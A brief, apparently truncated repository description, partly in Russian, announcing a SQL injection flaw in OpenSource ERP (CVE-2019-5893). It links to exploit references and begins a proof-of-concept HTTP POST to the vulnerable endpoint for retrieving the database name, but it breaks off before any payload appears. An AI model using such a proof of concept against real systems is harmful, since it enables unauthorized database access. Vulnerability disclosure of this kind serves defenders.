OpenSource-ERP-SQL-Injection

OpenSource-ERP-SQL-Инъекция Приложение OpenSource ERP имеет уязвимость SQL-инъекции. CVE-2019-5893 https://vulners.com/cve/CVE-2019-5893 https://www.exploit-db.com/exploits/46118 PoC - Получение имени БД root@kitploit: POST /db/utils/query/data.xml HTTP/1.1 User-Agent: Mozilla/5.0 Windows NT 6.3;...